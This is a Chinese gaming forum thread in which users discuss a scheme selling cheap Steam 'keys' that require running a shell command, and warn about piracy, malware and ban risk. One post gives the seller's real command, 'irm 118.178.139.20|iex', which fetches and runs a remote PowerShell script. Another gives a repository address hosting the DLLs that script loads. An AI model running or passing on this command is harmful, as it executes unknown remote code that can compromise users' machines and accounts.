Board logo

标题: [其他] 我草，现在d版这么先进了吗？ [打印本页]
作者: xzzy    时间: 2025-5-20 11:39     标题: 我草，现在d版这么先进了吗？

逛抖音看见一个广告，潜水员戴夫带dlc卖12块，给cdkey，我心想这么赚吗？
就买了，然后发了key，但是还有个教程
我说兑换key还要教程？
打开看要进shell执行一条命令，我就觉得不对，上网一搜，原来叫假入库。实际就是某种d版手段。
赶紧退款
作者: yfl2    时间: 2025-5-20 11:44

入库后可以steam下载，不算假入库吧
作者: 不要看我    时间: 2025-5-20 11:46

posted by wap, platform: iPhone
引用:
原帖由 @yfl2  于 2025-5-20 11:44 发表
入库后可以steam下载，不算假入库吧
他执行的那条irm命令其实就是修改了steam
我感觉这种会有封号危险
作者: zxsoft    时间: 2025-5-20 11:50

posted by wap, platform: Chrome
引用:
原帖由 @不要看我  于 2025-5-20 11:46 发表
他执行的那条irm命令其实就是修改了steam
我感觉这种会有封号危险
irm就是调用http接口，而http接口本来就是公开让所有人访问的。不会修改你本地的steam的。甚至你自己电脑上不安装steam都能执行成功。

但不知道是不是调用了steam官方未开放的有漏洞的接口。这个不清楚，但我觉得概率并不大。
作者: 不要看我    时间: 2025-5-20 11:55

posted by wap, platform: iPhone
引用:
原帖由 @zxsoft  于 2025-5-20 11:50 发表
irm就是调用http接口，而http接口本来就是公开让所有人访问的。不会修改你本地的steam的。甚至你自己电脑上不安装steam都能执行成功。

但不知道是不是调用了steam官方未开放的有漏洞的接口。这个不清楚，但我觉得概率并不大。
irm 把某个ip地址改了，我感觉是让steam去下他服务器上修改版的游戏，然后某种手段在steam上运行
作者: 深蓝色的海    时间: 2025-5-20 12:05

posted by wap, platform: iPhone
5块钱 买了一个 5 love under one roof。Steam能玩，还有成就。
但是手机steam里面没有。
电脑Steam重装之后就没了，成就也没了。
怕号被封，赶紧删了。
作者: VEVAN    时间: 2025-5-20 12:18

你把命令行贴出来看看呗，有关键信息就替换一下
作者: 不要看我    时间: 2025-5-20 12:21

posted by wap, platform: iPhone
输入：irm 118.178.139.20|iex
作者: somesun    时间: 2025-5-20 12:28

posted by wap, platform: Android
啥原理呢，什么游戏都可以吗，最新游戏行吗
作者: Lucifer6E    时间: 2025-5-20 12:36

posted by wap, platform: iPhone
所以，这条命令的实际作用是：

从 http://118.178.139.20 下载内容，并立即作为 PowerShell 脚本执行。

结论：非常危险
作者: 嵩山左冷禅    时间: 2025-5-20 12:39

posted by wap, platform: Lenovo
其实就是从另外一个地方下载了同名游戏的破戒版吧，玩倒是也能玩，只是花钱买倒版了
作者: VEVAN    时间: 2025-5-20 12:47

完整分析太长就不贴了，不怕封号的可以继续

潜在风险和安全建议综合来看，这个脚本的功能远远超出了普通软件的安装或维护行为，包含了一些通常与非授权或恶意活动相关的操作：
强烈建议：
作者: qazqaz    时间: 2025-5-20 12:54

posted by wap, platform: iPhone
只能说不要贪这点小便宜。
作者: 星降夜    时间: 2025-5-20 13:13

posted by wap, platform: Android
nga搜了下是盗版么，皮角了这台电脑的steam，实际没有进账号的库。有没有顺便下什么挖矿盗号程序就不知道了
作者: heven2004    时间: 2025-5-20 13:29

posted by wap, platform: Android
吃多了，花钱玩盗版。
作者: 477477    时间: 2025-5-20 16:39

posted by wap, platform: Android
花钱玩盗版喷了，省点买5090吧
作者: zxsoft    时间: 2025-5-20 16:50

posted by wap, platform: Chrome
引用:
原帖由 @不要看我  于 2025-5-20 12:21 发表
输入：irm 118.178.139.20|iex
喷了！怎么还有个iex！！

这就相当于linux中的 curl xxx | sh -

这个指令的行为完全不受控，也没法记录和追踪，得看当时的http服务返回的内容是什么。可以执行： irm 118.178.139.20 来查看他要你自动执行的脚本，不加 |iex就是安全的，只看脚本不执行。我调了一下看到是一个下载三个文件，让你的steam加载他下载的hid.dll和zlib1.dll，还附加了一个appdata.vdf。只能看出来这个行为。但这三个文件的功能是什么，没有源码，就不知道了。下载地址在：https://gitee.com/steam_run/aa/tree/master/2

有兴趣的可以下下来看看是不是病毒。
作者: RyoH    时间: 2025-5-20 16:59

posted by wap, platform: Android
但是没皮角的游戏是否也一样可以运行？
作者: 我爱一条柴啊    时间: 2025-5-20 17:21

posted by wap, platform: Chrome
你自己下载皮角游戏不好吗，花这钱还有很大风险
作者: sceic    时间: 2025-5-20 17:57

这根本不叫先进
作者: 久多良木健    时间: 2025-5-20 17:59

posted by wap, platform: iPhone
下载下来的文件未知，这说封号都是好的，万一不好的装一个木马兜底抄…
作者: 熊熊哥哥    时间: 2025-5-20 18:15

D加密的游戏能入库么？
作者: jidatui    时间: 2025-5-20 18:32

posted by wap, platform: Android
不如直接玩皮角版
作者: 恋妖壶    时间: 2025-5-20 18:36

不是，你坛老登们是要老到要被电信诈骗了吗？假入库这玩意多久了，本质就是给你电脑植入木马让你在Steam界面下玩盗版，百害无一利，想植入什么植入什么

不想花钱自己下盗版，D加密没盗版自己去淘宝租离线账号，花钱买假入库属于最愚蠢的动作了
作者: FireLiu    时间: 2025-5-20 19:02

我个人理解楼主应该不是打算买盗版吧，只不过想图便宜买个key，后来发现不对马上悬崖勒马还退款了。
作者: alann    时间: 2025-5-20 19:18

posted by wap, platform: Android
数码区不是同样有人觉得从shell执行一段命令就能激活windows很“先进”。其实原理都类似，只是楼主悬崖勒马了。
作者: ADA1    时间: 2025-5-20 20:07

3dm也要类似的帖，区别是还要用修改器才能欺骗steam。
作者: limboking    时间: 2025-5-20 20:29

这不就和之前的“伪正版”一样吗 把盗版包装一下
作者: cft17    时间: 2025-5-20 20:38

posted by wap, platform: Android
作为电脑菜鸡几年前我在淘宝也买过这玩意，之前一直玩老任大法，一直到新冠来了在家无聊才注册了steam,然后就发现淘宝很多key便宜，店家几十个好评也没看出异常，还以为用命令跳过区域低价服限制什么的
装好之后玩了几天
因为我是2台电脑，换另外一台电脑登录账号发现库里没有，然后再回之前的电脑发现也玩不了了
网上一查恍然大悟，马上退款
感觉我还不如楼主，我那时真以为是捡了便宜直到登不上去
作者: lvcha    时间: 2025-5-20 20:39

posted by wap, platform: Android
花钱买盗版还好。万一是花钱买勒索软件就完了
作者: lvcha    时间: 2025-5-20 20:43

posted by wap, platform: Android
便宜游戏可以看steamdb的史低。然后淘宝应该可以买到这种价格的。通常就是给key兑换游戏。新游戏就别想了。不过其实值得玩的新游戏一年也没两个，花点钱也还算能接受。
作者: GBA    时间: 2025-5-21 00:02

posted by wap, platform: Chrome
想起来当年2快钱的街霸4KEY，是GAME FOR WINDOWS LIVE版的，还兼用生化危机5，一KEY多用
作者: 3wa    时间: 2025-5-21 00:48

你们现在都不知道哪里下盗版吗？花钱买？
作者: 囧rz--    时间: 2025-5-21 03:32

posted by wap, platform: iPhone
这不是盗版那么简单，这是下载了不知道包不包含木马的商家提供给你的程序，好一点的只是玩个盗版，差一点的你整台电脑就是肉鸡了
作者: scan    时间: 2025-5-21 08:34

posted by wap, platform: iPhone
假入库有可能影响你的账号和主机安全，其实楼主也只想买个key结果遇到这样的商家，要是不留神还真容易被骗到。
就算key也有很多激活限制，不过这是另一个问题了
作者: achen126    时间: 2025-5-21 08:37

posted by wap, platform: Android
引用:
原帖由 @熊熊哥哥  于 2025-5-20 18:15 发表
D加密的游戏能入库么？
我们买假入库就是为了搞定D加密的游戏，当然能
作者: lvcha    时间: 2025-5-21 08:40

posted by wap, platform: Firefox
d加密是好事其实。要不然厂商没动力再做什么大作了。
作者: 熊熊哥哥    时间: 2025-5-21 08:43

引用:
原帖由 achen126 于 2025-5-21 08:37 发表
posted by wap, platform: Android
我们买假入库就是为了搞定D加密的游戏，当然能
那还是挺牛逼的...
作者: landice    时间: 2025-5-21 09:49

喷了，这不就是把非steam游戏添加到steam清单的操作么？只要你愿意你可以把你本地计算机上所有盗版游戏都添加到你电脑steam的游戏列表里，然而并没有真正入库，封号倒也不至于，你如果玩steamdeck就知道把非正版游戏添加到steam清单这是常规操作。。。
作者: 夕雨    时间: 2025-5-21 10:11

posted by wap, platform: iPhone
引用:
原帖由 @GBA  于 2025-5-21 00:02 发表
想起来当年2快钱的街霸4KEY，是GAME FOR WINDOWS LIVE版的，还兼用生化危机5，一KEY多用
这是ms无能导致的 跟现在这种伪激活差别大了去了
作者: tobewind    时间: 2025-5-21 14:53

posted by wap, platform: 华为
花钱买盗版？
想不明白这事
作者: AceSword    时间: 2025-5-21 17:33

posted by wap, platform: Android
引用:
原帖由 @heven2004  于 2025-5-20 13:29 发表
吃多了，花钱玩盗版。
泥潭保健品先驱。贪小便宜吃大亏后续还会有更多。毕竟中老年论坛
作者: killz    时间: 2025-5-22 08:36

posted by wap, platform: 小米
纯假入库，我上过当 而且改过之后有副作用，正经steam库里的街霸6直接就玩不了了，后来在steam目录下删了那个命令建的某些文件才恢复正常 60大洋白花了 诅咒他们不能超生
作者: xuziyu2006    时间: 2025-5-22 13:58

posted by wap, platform: Android
不是，都玩盗版了，直接自己下载个皮角版不保险些吗？
作者: btcomic    时间: 2025-5-22 15:09

假入库没买过，倒是买过几毛钱的共享账号
0.44元买了个FF16还通关了，当时FF16还没皮角，有没有哪位知道这种的卖家是图个啥？

[ 本帖最后由 btcomic 于 2025-5-22 15:11 编辑 ]
作者: B38    时间: 2025-5-22 15:11

posted by wap, platform: iPhone
卡赞15.9，给cdk入库，我也是没看懂，买了一个



欢迎光临 TGFC Lifestyle (http://bbs.tgfcer.com/) Powered by Discuz! 6.0.0